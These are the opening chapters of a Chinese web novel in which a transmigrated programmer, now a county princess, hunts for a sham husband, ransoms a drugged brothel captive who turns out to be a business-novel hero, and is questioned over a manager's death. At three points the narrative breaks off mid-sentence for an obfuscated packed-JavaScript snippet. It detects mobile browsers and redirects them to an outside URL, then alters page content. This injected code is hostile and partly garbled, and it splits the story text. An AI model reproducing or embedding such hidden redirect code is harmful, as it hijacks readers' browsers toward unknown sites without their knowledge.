《县主今天躺赢了没(女尊)》 1. 第 1 章 上巳三月三,春光乍好,微风拂柳,绿丝轻摇。 “哎。” 着一身月白锦装的女子,却坐在木亭中,手撑下颌,望着被春风拂落的杏花,轻声叹了口气。 身旁的侍从兰绛佩正在为她斟茶,茶盏轻轻晃动,让热意散去些许。 听到这声叹息,兰绛佩顿了顿,问道:“县主还在为娶夫之事忧心?” 不提也罢,一提此事,祝凌霜便觉头疼欲裂。 一个月前,她因加班过度,猝死在工位上,意外穿到了她曾读过的一本女尊小说中。 原主祝余安,作为书中仅有百字描写的背景板炮灰角色,因半夜在花楼醉酒,没看清路,不慎从楼梯上摔下身亡,这才让同样离世的祝凌霜穿了过来。 原主祖上曾是随皇帝开国的功臣,被封为王姬,至原主这一代时,已降爵承袭为县主。 其父是越州最大商会的独子,在母父相继去世,而外祖母裴老家主又外出云游后,原主便成了商会名义上的东家。 本来一切都是如此的美好。祝凌霜想,重活一次她只想与世无争,安安稳稳护住小命度过此生。 但近日,祝凌霜猛然想起一个关乎她性命的情节。 原主虽家道中落,手中的越州商会却仍是某些心怀不轨之人觊觎的目标。 现在上京城内,淮王正策划向陛下请求赐婚,将原主与四皇子联姻,借此召原主入京,从而轻松掌控原主,将越州商会收入囊中。 原书中,由于原主于一个月前意外身亡,淮王的计划只能不了了之,越州商会最终落入被逼出上京的女主手中。 但如今,祝凌霜穿了过来,原主尚在人世,淮王自然不会放过这个机会,恐怕已在暗中布局。 并且奇怪的是,按理说书中女主现在应该已到越州十日才是,可不知为何,女主迟迟没有抵达。 祝凌霜别无选择,只能先设法自保。 否则,一旦赐婚圣旨下达,她命危矣。 思及此,祝凌霜接过兰绛佩递来的茶水,猛灌了一口,问道:“昨日让你张贴的告示,可办妥了?” 兰绛佩答道:“昨日一早,属下已在城中各处张贴完毕。” “那为何无人上门?”祝凌霜疑惑,“一个都没有啊。” 兰绛佩沉默片刻,委婉道:“或许,要求还需再放宽一些。” 祝凌霜:“……” 还要放宽!? 她让兰绛佩张贴的,不过是一份普通的征婚启事。 虽然娶了正夫不一定有用,但至少能撑一阵子,等女主到了越州再去求助。 原主的家世在越州已属上乘,理应不难找到合适的夫郎。 然而,原主生性风流,后院小侍众多,且常流连花楼,甚至短短三年内两位夫郎相继离世,使得无人再敢将自家郎君嫁入祝府。 尽管祝凌霜在刚穿来时,已经努力修复原主败坏的名声,安置好后院被强行掳来的花楼乐伎,但正经人家的郎君仍对她敬而远之。 而那份征婚启事,要求已放低到不能再低。 容貌?看得过去即可。 家世?清白人家即可。 性情?无要求。 才华?无所谓。 难道还是太高了吗? 祝凌霜咬牙。 不管了,保命要紧! 她猛地抓住兰绛佩的肩膀,道:“重写!现在,只要是男的就行!不,女扮男装也行!” 兰绛佩被她晃得头晕,连忙点头:“那属下晚上去办?” “不行!此事关乎性命,你现在就去安排!” 兰绛佩立刻下去重新张贴告示。 亭内,祝凌霜独自一人焦躁地来回踱步,一口气叹了又叹,眉头紧锁。 她的目光时不时瞥向亭外,或者召来茶盏喝上两口,却始终咽不下心底那份不安。 万一还是没人来怎么办? 不行!决不能坐以待毙!与其坐等他人上门,倒不如主动出击。 于是,她一拍大腿,下定决心,即刻上街寻找目标。 她迅速登上马车,直奔越州城内最繁华的街道。 马车缓缓驶过街道,车帘上绣着的祝府徽记在阳光下熠熠生辉。 然而,街上的百姓一见到那熟悉的徽记,纷纷避之不及,仿佛见了什么不祥之物。 祝凌霜二指挑开车帘时,四周已空无一人。 百姓们宁可挤在一起脚踩脚,也不愿靠近她的马车方圆十尺。 “……” 祝凌霜默默放下车帘,心中五味杂陈。她明明已经兢兢业业做了一个月好人啊…… 前方传来一阵喧闹。有人嘴里念念有词,语气中满是疑惑。 “征婚布告:诚娶正夫一位,聘礼白银千两,名下商铺若干,蜀锦若匹……要求:只要……呃,男的就行?” 闻声,祝凌霜再次掀帘,抬眼望去。 不远处的张贴栏边,兰绛佩略显局促,站在一旁。而百姓在她周围凑成一堆,七嘴八舌议论。 质疑声在人群响起:“哈?这什么玩意儿?不是骗子吧?” 另一人附和:“是啊,这条件娶什么样的娶不到,还需要贴什么布告?” “嘶……我怎么觉得这条件有些眼熟呢……” 有人憋不住心中的好奇,对着兰绛佩瞧了又瞧,问道:“这位卿君,你是替谁贴的?这样的条件怎会娶不到夫郎?你不会是骗子吧?” 兰绛佩欲言又止,脸色有些尴尬,艰难解释:“我替我家主子张贴,绝非骗子。” 百姓们仍旧不信,追问道:“你家主子是何人啊?” 兰绛佩干笑两声,含糊其辞:“就是……那个嘛。” “哪个?”众人更加疑惑。 一名男子抚了抚下巴,往祝府的马车瞥了一眼后,忽然一惊:“不会是、是那个吧?!” “别那个了,哪个啊?” “就是那谁,三年死了俩夫郎的……” 话音未落,默默观察了一会儿的祝凌霜掀帘而出,几步上前。 周围的百姓听到那话时,本就开始悄悄后退,现在见到正主本人,更是慌不择路,一哄而散。有人甚至撞到墙上,疼得嗷嗷直叫。 祝凌霜站到布告前,重重咳了两声,试图挽回局面:“诸位且听我说。” 然而,百姓们早已逃得无影无踪,街道上空空如也。 “……”祝凌霜硬着头皮继续道:“本人诚娶正夫一位,没有要求,只要能立即……” 兰绛佩忍不住提醒:“县主,人都走光了。” 祝凌霜:“……” 她抹了把脸,望着空荡荡的街道,心中一阵苦涩。 早知道当初就不将后院遣得那么干净了,至少随便提个人上来还能应付一下。 祝凌霜面如死灰,顺着张贴板缓缓下滑,四十五度角仰望天空,喃喃自语:“难道……真的别无它法了吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283142|182554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰绛佩抿了抿唇,正思索着如何安慰时,祝凌霜却猛地弹了起来:“不行!不能等死!” 兰绛佩被她突如其来的动作吓了一跳,默默后退两步,问道:“县主,现在怎么办?” 祝凌霜果断道:“带钱了吗?” “带了。” “带了多少?” “三张银票。” “足够了。”祝凌霜点头,深吸一口气,“走,实行最后一个计划!” “去、去哪儿?”兰绛佩一脸茫然。 祝凌霜钻回马车,一字一句道:“芳、菲、尽。” . 芳菲尽,越州城内最大的一家花楼。 原主从前常常在此流连,一掷千金,实为花楼贵客。 路上,兰绛佩不禁问道:“您是打算赎个花倌吗?” 祝凌霜叹了口气,道:“这已经是没有办法的办法了……” 毕竟,活命要紧。剩下的,等有命再说。 楼内的人对她熟稔至极,刚到芳菲尽,几名接客的花倌见她进门,立刻热情地迎了上来,故作姿态往她身上蹭。 “县主!您许久未来,可是终于想起侍身们了?” 他一边说,一边凑近,身上浓重的熏香几乎压得祝凌霜喘不过气来。 祝凌霜不动声色地往后仰些,让花倌贴得没那么紧,道:“给我找几个愿意被赎身愿意成亲的来,便宜的。” 那花倌一听,倏地撤开,眼里生疑,“您说什么?” 祝凌霜继续道:“赎身。便宜的,越便宜越好。” “啊?” 花倌眼中掠过一分嫌弃:“侍身知道了,您且稍等,侍身这就去给您找。” 转身后,他忍不住嘟囔:“赎身?便宜的?还要成婚?越州商会没落得这般快?” 祝凌霜:“……” 没办法啊,先前收拾烂摊子花销甚巨,如今她手头确实不太宽裕。 上楼时,祝凌霜朝楼下看了一眼,中厅正围着许多花客。 今日恰逢一年一度的花盛节,花楼内新花倌初次亮相,而这些人,都是来争相竞拍花倌们初绽之夜的。 祝凌霜收回目光。 拍新花倌什么的,太费钱了,还是先不要看了。 祝凌霜上了楼,就在楼梯口边就近找了个厢房。 可她进入厢房等了半晌,也不见有人来。 祝凌霜知道,大概率是没人愿意被她赎回去成亲。 毕竟,正经人也不会娶一个花楼中人为夫。更何况,在越州百姓心中,祝府那位县主甚至本就不是个正经人。 心下无奈之际,楼间却喧闹起来。步履声急促,有人正大喊着“抓住他”。 反正也没人来,本着人类最基本的好奇之心,祝凌霜推开门扉,探头看出去。 楼阁深处传来慌乱的脚步声,越来越近。伴随着一阵清脆的铃铛声,一道红纱缠绕的身影从拐角处猛然冲出,直直朝她扑来。 祝凌霜瞳孔骤缩,根本来不及停下缩回去,只觉一股力道狠狠撞在自己身上,整个人瞬间失去了平衡。 而那人朝她伸出手,似乎想要抓住她,但指尖却只擦过她的衣袖,堪堪错过。 摔下楼梯的瞬间,她看见了他慌乱无措的眸子,漆黑中透着一丝惊悸。 与对方的慌张不同,祝凌霜倒是坦然接受了再死一次的可能,颇为安详地闭了眼。 看来,她恐怕要步原主的后尘,摔死在这里了。 2. 第 2 章 等祝凌霜再次醒来,夜色已深,屋内烛火昏黄。 兰绛佩跪在榻边,见她睁眼,忙道:“县主,您醒了!医师已上过药,说并无大碍,您可还有不适?” 后脑勺阵阵闷痛,祝凌霜抬手一摸,疼得倒吸凉气。 罢了,没死就行。 兰绛佩伏地请罪:“属下未能护好县主,请县主责罚!” 祝凌霜伸手,兰绛佩会意,扶她坐起。 她此举也是为了让兰绛佩起来。尽管自己穿来后总说不必行此大礼,兰绛佩却还是这样。 祝凌霜默默叹气,目光落在榻边披着红纱的男子身上。 他面上垂落珠帘,半掩住面容,腕间、腰上甚至脚踝都挂着铜铃,正阖眼靠坐在塌边。似乎就是将她撞下楼的人。 她正欲开口,门边传来一声刻意拖长的轻咳。 祝凌霜循声望去,只见一浓妆艳抹的男子倚在门边,头戴点翠头面,绛红纱衣松松垮垮挂在肩头,纱上金线绣的牡丹从锁骨一路绽到腰际。 见她看过来,他抹了抹眼,踉跄几步扑到榻前,裙摆绊了一下,满头珠翠叮当作响。 “哎哟喂,我的祖宗!您这金枝玉叶的身子若摔出个好歹,侍身可哪有儿脸继续开这花楼啊?” 他掐声道:“楼里这些没眼色的蹄子,见贵人下楼也不知扶着,该全打发去刷恭桶!” 沉闷的熏香扑面而来,祝凌霜不适地往后仰了仰。 这人是花楼的鸨父,原主在他这儿又摔一次,他定是怕越州商会趁机开罪,对花楼不利。 鸨父用团扇掩住半张脸,吊梢眼转了转,掐着嗓子又欲哭嚎。 “停!有什么话下次再说。”祝凌霜头疼欲裂,出声打断。 鸨父立马噤声。 祝凌霜瞥了眼塌边的男子,问:“这是谁?” 鸨父赔笑道:“哎呦,您不知,他是楼里新来的花倌,今日本该是他第一次亮相,但他却只想着逃跑,还冲撞了您。这不,侍身特地带他来赔罪的!” 祝凌霜见男子一动不动,迟疑道:“他还活着吗?” 鸨父点头:“活着呢!就是喂了点软肢散,昏过去了。侍身这就弄醒!” 说罢,他撸起袖子作势要打。 祝凌霜连忙制止:“不必了。” 她虽对这将她撞飞的罪魁祸首心有怨气,但也不愿眼睁睁看人挨打。 鸨父又道:“那至少也得让这小蹄子给您赔罪才是。” 也不等祝凌霜说什么,他立刻指挥护卫往那郎君身上泼水,强行唤醒他。 祝凌霜没来得及阻止,冰凉的水将那郎君浑身浇透。 郎君睫羽微颤,缓缓睁眼。他的药效似乎并未完全过去,四肢仍然无力,连眼皮也只是轻轻掀起来。 他的眼睫和发梢都在滴着水,身上因水湿透,本就极薄的轻纱变得更透,紧贴着身,腹部因喘息微微起伏,肌肤若隐若现。 祝凌霜只看了一眼,便匆匆移开视线。 鸨父瞥了眼祝凌霜的神色,道:“县主可要他给您赔罪?” 祝凌霜未答,只瞧了眼窗外漆黑的夜色,不免悲观:这一天又要过去,离死亡日期又近了一步。 鸨父见祝凌霜没有反应,又试探着问:“听说今日县主来楼中赎人?若是县主有看上的,侍身去给您带过来?” 祝凌霜转过脸来,叹气道:“罢了,他们既不愿,不必勉强。我回府了,你也不用再为难这郎君了。” 见她不欲深究,鸨父忙喜道:“那侍身送您。” 可在她刚踏出一步时,塌边那红衣郎君却骤然伸手,紧紧攥住她的衣角。身上的铃铛随着动作叮铃作响。 祝凌霜顿步,垂眸看去。 郎君抬起眸,唇线紧抿,却一言不发,只直直望着她。 不知为何,祝凌霜竟莫名从他眼中看出几个大字: 带我走。 祝凌霜微微挑眉。城中郎君视她如洪水猛兽,躲都来不及,现在居然有人主动拉住她不让她走? 鸨父见人攥着祝凌霜衣袖,忙招呼侍卫把人拉开。 两个侍卫一左一右上来,正要架起那公子。 “慢着。”祝凌霜开口阻止。 她略略侧身,对鸨父道:“这个人,我要了。” 厢房内静了两息。 鸨父甩了甩团扇,欲言又止,看样子不太愿意放人。 一张银票突然飘到他手里。 “……” 紧接着,又是一张,两张。 与县主从前的手笔相较而言,不算特别阔绰,但赎下这么一个犯错的花倌倒也差不多了。 鸨父接过数额不小的银票,笑意堆满,却还是有些为难:“县主,不是侍身不想,只是这郎君来历不明,没有户帖啊!” “没有户帖?” 鸨父答道:“是啊,这郎君也是我们楼众捡到的,他那时穿得极为怪异,昏迷不醒。我们的人将他带回来养着,但他对自己是谁闭口不谈……” 祝凌霜道:“既如此,这人是被逼的了?” 鸨父道:“哎呦瞧您说的,哪儿能叫逼啊。我们不收留他,他一个无籍之人,早就被官府抓起来了。”顿了顿,他又道:“您是真的要赎人?我们可没有他的身契给您啊。” “无妨。”祝凌霜淡淡道,“我自有办法,你只需放人即可。” 鸨父旋即喜笑颜开:“好说!侍身这就帮您把人塞上马车!” 其实他之前也有些不安,毕竟私藏流民还逼人为倌,若是被官府发现,少不了要吃些苦头。 奈何那郎君生得太过俊美,他实在舍不得白白错失这棵摇钱树,这才铤而走险,硬着头皮把人留下了。 如今祝凌霜愿意接手这烫手山芋,还给了不少银钱,他心中虽有些惋惜,但权衡利弊之下,倒也没太多不乐意。 毕竟,银子到手,麻烦也甩了出去,何乐而不为? 他招呼护卫将郎君绑起,郎君奋力挣扎,却因药效未过,踉跄倒地。 祝凌霜见人倒地,下意识想伸手去扶,却被身旁的兰绛佩紧紧攥着。 兰绛佩如临大敌:“县主,您可不能再摔了啊!” 祝凌霜:“……” 她无奈,只得让侍从将人架起。 郎君被人架着,长发已然散开,眼神依旧警惕,但四肢似乎没了气力,看上去软绵绵的,毫无威慑力。 祝凌霜不禁问道:“你们这是给他下了多少药?” 鸨父立马道:“不多不多,一点软肢散罢了,过会儿药劲消散便正常了。县主您放心,不会影响那方面的。” “……”祝凌霜,“我不是那个意思。” 思量须臾,鸨父又恍然大悟,挤眉弄眼:“哎呦,瞧侍身,真是糊涂了,那您是想要您平时爱给花倌用的那几样?侍身这儿还有很多,量大管够!” 说完,他便挥手示意,让人赶快取来。 祝凌霜:“……” 也不是这个意思啊! 她连忙摆手,“不必了,人我带走就是了。” 她拉着兰绛佩匆匆离开,鸨父却追上来,塞了几瓶药给侍从:“县主,小小心意,留着以后用!” 祝凌霜抓狂:真的用不上! 她顾不上多说,拉着兰绛佩快步离去。 鸨父目送马车远去,抚掌喟叹:“新进的药,定能让县主神魂颠倒,酣畅淋漓!” 讨好了县主,还愁花楼在越州没立足之地? 今天也是美滋滋的一天呢。 . 总之,也不算全无所获。至少娶夫一事是有着落了。 不过,祝凌霜还是有些新奇:居然真的有人主动要跟着她回来? 她偏眸瞧了眼在马车角落动弹不得的人。 眉目疏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283143|182554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡,侧脸如玉,碎发垂在额边,微微蹙着眉。分明是略有些冷淡的长相,却因一身红绸缠在身上,平添几分柔和旖旎。 他的药效似乎还没过,斜斜靠在车壁上,呼吸轻浅,眼睫低垂。 祝凌霜若有所思。 说来事发突然,对方应当对自己赎人的目的一无所知。思来想去,她还是决定如实告知。 她轻咳一声,郎君眼皮动了动,缓缓睁开。 祝凌霜道:“不知郎君如何称呼?” 郎君没有回答,只吃力地偏头看过来,眼神里带着几分无能为力。 祝凌霜不禁有些怜悯:“居然说不了话吗……” “……” 郎君张了张嘴,但几度挣扎过后,又妥协般闭了眼。 祝凌霜见状,也没再追问,想着他不会说话,还是等到了府上,给他找来纸笔再说。 因顾及祝凌霜受了伤,马车行驶的速度并不快。 等马车终于晃晃悠悠到了府外时,天已经蒙蒙亮。 祝凌霜让人把那郎君带入书房。 书房内,一扇雕花木窗半开,透进几缕斜阳,映在书案上。案旁是一张红木太师椅,椅背雕着云纹。 那郎君的药效差不多过去了,至少现在无需人扶着。 祝凌霜在书案旁坐下,又示意郎君坐她对面。 郎君稍作犹豫,还是坐了下去,坐得极为端庄板正。 下人上完茶后,祝凌霜遣退旁人,屋内只剩她和对方。 二人相对无言,祝凌霜正要将案上一方墨砚和纸笔推过去,郎君却突然开口。 “赎身的钱,我会还你的。” 他骤然言语,祝凌霜惊得抖了一下:“你会说话啊?” 郎君面上凝滞一瞬,道:“我好像没说过……”他稍微停顿,“我似乎未曾说过我言语有碍。” 祝凌霜:“……?” 真要言语有碍还怎么说? 她问:“那我方才在马车上问你,你怎么不说话?” “……”郎君咬牙,“软肢散。” 差点忘了这茬了。祝凌霜赧然:“原来如此。” 二人又齐齐静默两息。郎君重复道:“钱,我会还你的。” 祝凌霜挑眉:“你可知,那笔钱以一个男子能做的活计而言,数额不小,根本无法还上。” 对方沉默了,垂眸不语。少顷后,他低声道:“可我独身一人,你若别有所图,我无能为力。” 他睫羽微垂,轻轻颤动,在苍白的面颊上投下淡淡阴翳。 祝凌霜微怔,竟无端从他身上感受到些许落寞和疏离。 郎君又霎时抬眸补充:“若要我的身体,我宁愿自戕。” 祝凌霜:“……” 方才那点寂寥或许是错觉吧…… 她扶额道:“我确实不是单纯替你赎身,但也并非你想的那样。我要你和我——成亲。” 闻言,郎君脸上神情一言难尽。似乎在说:这还不是他想的那样?! “……”祝凌霜,“我现在无法细说,但我只需一个人与我假成亲即可。赎身的钱无需再还,并且,事成之后,你的去留我也绝不干涉。” 见他低眸沉思,祝凌霜又道:“况且,就算我并无所求,那——你呢?” 她缓缓道:“没有户帖,你寸步难行,很快便会被官府的人带走。但,我可以帮你。” 她知道对方别无选择,随手拿起旁边笔架上悬着的狼毫笔,悠悠转着,静静等着对方回答。 房中静了须臾,郎君叹了口气,似乎是认命了:“好。” 祝凌霜弯唇:“那么,如何称呼?” “池砚。” “……” 清冷的声甫一落下,祝凌霜却石化原地,指尖猛然一松,狼毫笔应声坠地。 她如遭雷劈,猛地站起,不可置信:“你叫……什么?” 3. 哪里的男主?! 池砚不明所以,顺着她微微仰头。 祝凌霜默默捡回笔。 她沉浸在自己的思索中。她不禁拧眉,自己反应似乎太大了,万一只是恰好重名呢? 于是,保险起见,她搁下手中的毛笔,试探着说出一个名字。 果然,听见此话,池砚眼中满是惊异和愕然。 他极为不确定地问道:“你说……什么?” 祝凌霜愣了愣。 还……真是啊。 池砚…… 她可真熟。 在猝死前,她曾看过的最后一本连载商战文,里面的男主就叫做池砚。 男主的养父母因多年膝下无嗣,以继承人为名将他收为养子。 自记事起,他便被套上量身定制的商业枷锁。每日课程排满金融策略与社交礼仪,连阅读一本闲书的时间都需层层报备。 养父母心里只盘算着养他划不划算、能带来多少好处,就像盯着机器算收益一样,从来没给过他一点真正的关心和感情,只把他当成家里为了利益可以随时换掉的工具。 祝凌霜当初读到不足三分之一篇幅时,已对后续发展略有耳闻。 养父母奔走多年终得亲生骨肉。曾经在商界翻云覆雨的男主,骤然沦为家族弃子。 读者们完全不能接受这样的发展,评论区骂声一片。 祝凌霜虽未看到后面,但她认为,池砚这样的人,绝不会坐以待毙,就这么将自己手中的心血交付出去。 而她方才说的那个名字,就是书里池砚的集团,看他反应,准错不了。 但,作为一个小说人物,池砚为什么会出现在这里? 祝凌霜用双手撑住书案,身体微微前倾,“你再说一遍,哪个‘池’,哪个‘砚’?” 虽不知祝凌霜为何反应如此激烈,但池砚仍耐着性子为她解释了一番。 得到肯定的答复后,祝凌霜指尖止不住地颤抖。 太……太难以置信了! 她本以为,她随手捡回来的,不过是个普通的貌美郎君罢了,却没想到,他竟是另一本商战小说的男主! 她到底是怎么和这八竿子打不着的商战文男主同时穿进女尊小说里的? 祝凌霜扶着桌案缓缓坐下,召来茶盏,掩饰般抿了口茶。 池砚默默将她的反应尽收眼底,片刻后,他语气平静地问道:“请问,能否告诉我,你为何如此惊讶?以及,你方才说的,又是从何处得知?” 祝凌霜回过神来,但暂时不想透露真相,于是微微昂头,故作高深:“这不是你该打听的。” 池砚:“……” 搁下茶盏,祝凌霜仍觉得离奇,忍不住盯着池砚看了又看。 左眼尾的泪痣,修长的身量,冷冽的眉宇,确实与书中的描写吻合。 她抚着下颌沉思。 看样子池砚似乎是身穿,但他又与这里的男人一样,有着长到腰际的头发。 虽然不清楚池砚为何会出现在这里,不过现在,她除了夫郎,最缺的是什么? 不就是一个懂账目、又有商业头脑的人吗! 如果能将商战文里叱咤风云的男主拉来为自己效力,那自己岂不是能当个甩手掌柜,躺平一生了?不仅如此,越州第一商会进阶为大齐第一商会,更是指日可待。 而她嘛,只需要躺着数钱就好了。 她越想越兴奋,笑意逐渐放肆。 池砚被她如狼似虎的目光盯得浑身不自在,下意识摸了摸脸,移开视线。 低眸时,却发现自己身上仍然还挂着那要漏不漏欲坠不坠的红纱,顿觉有些难堪,悄悄扯了扯轻纱,想将自己过于裸露的地方稍微遮一遮。 可他的手仅仅只是抬起一点儿,身上的铜铃便叮叮当当起来,在这寂静的书房里格外清晰。 “……” 他泄气般垂手,隐隐觉得,自己似乎是从一个狼窝跳进了另一个虎穴。 祝凌霜倒是没察觉他的动作,只欣喜地将兰绛佩唤进来:“告诉先前那账房先生,她可以不用来了,我这儿已经有现成的了!” “啊?是……属下明白了。” 兰绛佩一头雾水,但她深知,只要是主子说的,照办就对了。 与同样茫然不解的池砚对视一眼后,她挠了挠头,出去了。 祝凌霜迫不及待地拿出一册账本,递给池砚:“来,你先看看这个。” 池砚有些疑惑,却还是顺从地接过账本翻看。 然而,刚翻开第一页,他便拧起眉。随着每一页的翻动,他的眉头越皱越紧。 祝凌霜见他神情凝重,心也跟着沉了下来,忙问道:“可是账本出了什么问题?” 这些账本都是商会从前的记录,若真有问题,麻烦可就大了。 池砚没有回答,只是缓缓合上账本,旋即叹了一声。 听到他的叹息,祝凌霜的心更是提到了嗓子眼:“到底出了什么事?你直说便是,我能承受。” 池砚抬眸,眼中满是祝凌霜看不懂的复杂情绪。 屋内静得令人发慌,祝凌霜指尖紧攥,心中倍感煎熬。 良久之后,池砚才沉重开口。 “我好像……不识字。” 祝凌霜:……? 祝凌霜:??? . 曾经,一只手就能在A市翻云覆雨的精英总裁,在今晚,在这里,被成功确诊为文盲。 还是完全大字不识一个的顶级文盲! 得知真相,祝凌霜笑得几乎快要直不起腰。 谁能想到,两本小说的文字互不相通。她因着有原主的记忆,虽看不明白账本,但认字毫无压力。 可池砚不一样,他根本不认识这里的字! 见她在太师椅上笑得前仰后合,池砚无奈道:“能不能笑得……稍微小声点。” 他自小天赋异禀,数算文学样样精通,从未遇到过如此难堪的境地。 祝凌霜笑了许久,挥手蘸墨,在宣纸上唰唰写下几个大字。 她眼中笑意未减,轻点了下写好的宣纸,宣纸飘到池砚面前。 瞥过纸上那些对自己来说如同天书的文字,池砚轻轻叹了口气,将宣纸稍稍下拉,露出后面正抿唇忍笑的祝凌霜。 “我不认识。”他极为坦然。 “没关系,我教你。” 祝凌霜收起笑意,一本正经地指着纸上的字,逐字念道: “第一章,陨落的天才。” 话音刚落,她自己又忍不住笑出了声。 池砚:“……” 待终于笑够了,祝凌霜又唤来兰绛佩:“对了,我方才的话撤回,那个账房先生还是需要的。” 兰绛佩:……??? 祝凌霜重新坐回太师椅,托腮看着对面的池砚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283144|182554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,笑意盈盈道:“那,接下来,我们还是好好聊聊‘合同’吧,池、郎、君。” 她指尖轻叩太师椅扶手,狼毫笔在宣纸上簌簌游走,写下标题:契约合同。 “对了,”她又瞧了池砚几眼,“你非此世之人,但这副身躯应当是你自己的吧?” 闻言,池砚抬眸,“你看起来也不是这里的人,甚至很了解我。我们曾经相识?” 祝凌霜眉梢一挑:“或许吧——也许日后会告诉你。” 她瞥过对面人垂落腰间的发梢,转问道:“说来,既然身体是你自己的,为何你会有这般长发?” “不知。”池砚摇头,“或许是因为——” 祝凌霜托腮等着回答。一旁烛火轻晃,映在她眼中。 瞧着她眸中跃动的火光,池砚忽然止了话,没继续说,只岔过话题:“似乎不重要。还是接着谈正事吧。你需要我做些什么?” 他不欲多言,祝凌霜虽心中好奇,却也不好追问。 她竖起两根手指,正色道:“其一,自然是与我假成亲,这个你已应下,暂且不提。其二,我需要你教我打理商会。” 娶夫一事有了着落,现在就得解决另外一件大事——商会。 原主本人是个不折不扣的纨绔,自幼只爱招猫逗狗拈花惹草,挥金如土花钱无度,对管理商会一窍不通。 继承商会不到三年,手下几位大掌柜便开始阳奉阴违,意图蒙骗原主。 祝凌霜穿过来后,上辈子只是个程序员的她,面对商会事务,同样束手无策。 多看账目几眼,她便觉得头晕目眩两眼一黑。 忍着不适硬生生苦学了一个月,仍难窥门径,只学了个皮毛,根本没有办法和那些从商多年的老狐狸斗。 而现在池砚在此,不用白不用。她自然生了让池砚出谋划策的想法。 对于这个要求,池砚有些意外,却并未拒绝,颔首道:“好。” 祝凌霜挑眉:“答应得这般痛快?” 池砚笑了声:“这是我唯一会的事了。” 听见他言语间自嘲的意味,祝凌霜不免怔了怔。 她记得,当初看书时,池砚此人,冷静克制,在商场“杀伐果决”,从未像现在这样,眼底隐着淡淡的倦怠。 那本小说,后期到底怎么发展的? 祝凌霜不知后来的池砚究竟具体经历了什么,但至少现在看起来,那些经历对池砚来说一定不愉快。 她心中暗叹一声,对池砚简单讲述了目前商会的状况后,道:“就是这样,我只知这些掌柜对我有所欺瞒,但具体是什么,我查不出来。” 池砚略作沉吟,“若有空,带我去一趟商会吧,查查她们的账本。” 祝凌霜双眼一亮:“你已看出端倪所在?” 池砚摇头:“暂且无法定论,只有等看过账本后才好判断。” “可你不是……”祝凌霜迟疑,“我是不是应该教你识字?” 池砚笑道:“是。现在,可否先教我一些简单的文字?” 祝凌霜拿出方才的账本,对着上面的文字一一同他解释。 池砚学得很快,基本上一遍就记住了。 账本上主要的字眼都记了个大概后,祝凌霜刚想赞叹两句,书房的门却被急急叩响,兰绛佩急切的声音从门外传进。 “县主,不好了!李掌柜她……自缢了!” 4. 第 4 章 李家宅院内,李夫人被人搀扶着,鬓发散乱,泪痕斑驳,几乎站不稳身子,只伏在侍从肩上凄厉恸哭。 厢官端立于侧,细细向他盘问李掌柜近来的行踪往来。 仵作蹲在地上,拨弄着尸身颈间勒痕,白布半掩,隐约可见青紫淤痕蜿蜒。 祝凌霜掀开青布门帘,仵作正盖棺定论:“……确是自缢无疑。” 门扉处帘影晃动,屋内众人皆抬眼望去。 见到来人是祝凌霜,李夫人猛地挣开搀扶,踉跄几步。 保养得极好的手指直指祝凌霜,声音嘶哑如裂帛:“是你!是你逼死妻主的!” 刚跨过门槛的祝凌霜脚下一顿,下意识指了指自己:“……我?” 李夫人目眦欲裂,泪痕满脸,字字泣血:“若非你步步紧逼,我妻主何至于自缢而亡!” 闻言,祝凌霜唇角微抽,眼底浮起一丝荒谬。 这简直荒唐好吧! 她穿来这月余,不过只召见过这些大掌柜两三回,且皆是众人齐聚,何曾单独与谁密谈?更遑论逼死李掌柜了。 至于原主……那是个连账册都懒得翻的主儿,只管坐收红利,也不曾过问商会事务半分。 这罪名,扣得未免太没道理。 可谁知,厢官上前拱手一礼,开口道:“此事似与县主有牵连,还请县主配合我们调查。” 祝凌霜愕然,又指了指自己:“真是我啊?” 一旁的兰绛佩着急道:“大人是否弄错了?李掌柜虽属越州商会,可谁人不知我们县主只管支取钱财,从不过问商会之事,何来‘相逼’一说?她自缢一事,绝不可能与县主有关!” 祝凌霜:“……” 虽然知道兰绛佩是在为自己开脱,但祝凌霜真是有些汗颜。 她轻咳一声,安抚地拍了拍兰绛佩:“无妨。” 厢官道:“事情尚未定论。只是惯常问话,县主不必担忧。” 祝凌霜颔首:“请。” 两人站在回廊僻静处,一问一答间,厢官簌簌记录着对话。 “近日可曾与李掌柜往来?” “不曾。” “可曾派人传话?” “未有。” …… 几番过后,厢官收笔,墨迹未干的纸张托在掌心,“若后续还需询问,下官再来叨扰县主。” 祝凌霜试探性问道:“大人可否透露,可是有人指证与我有关?” 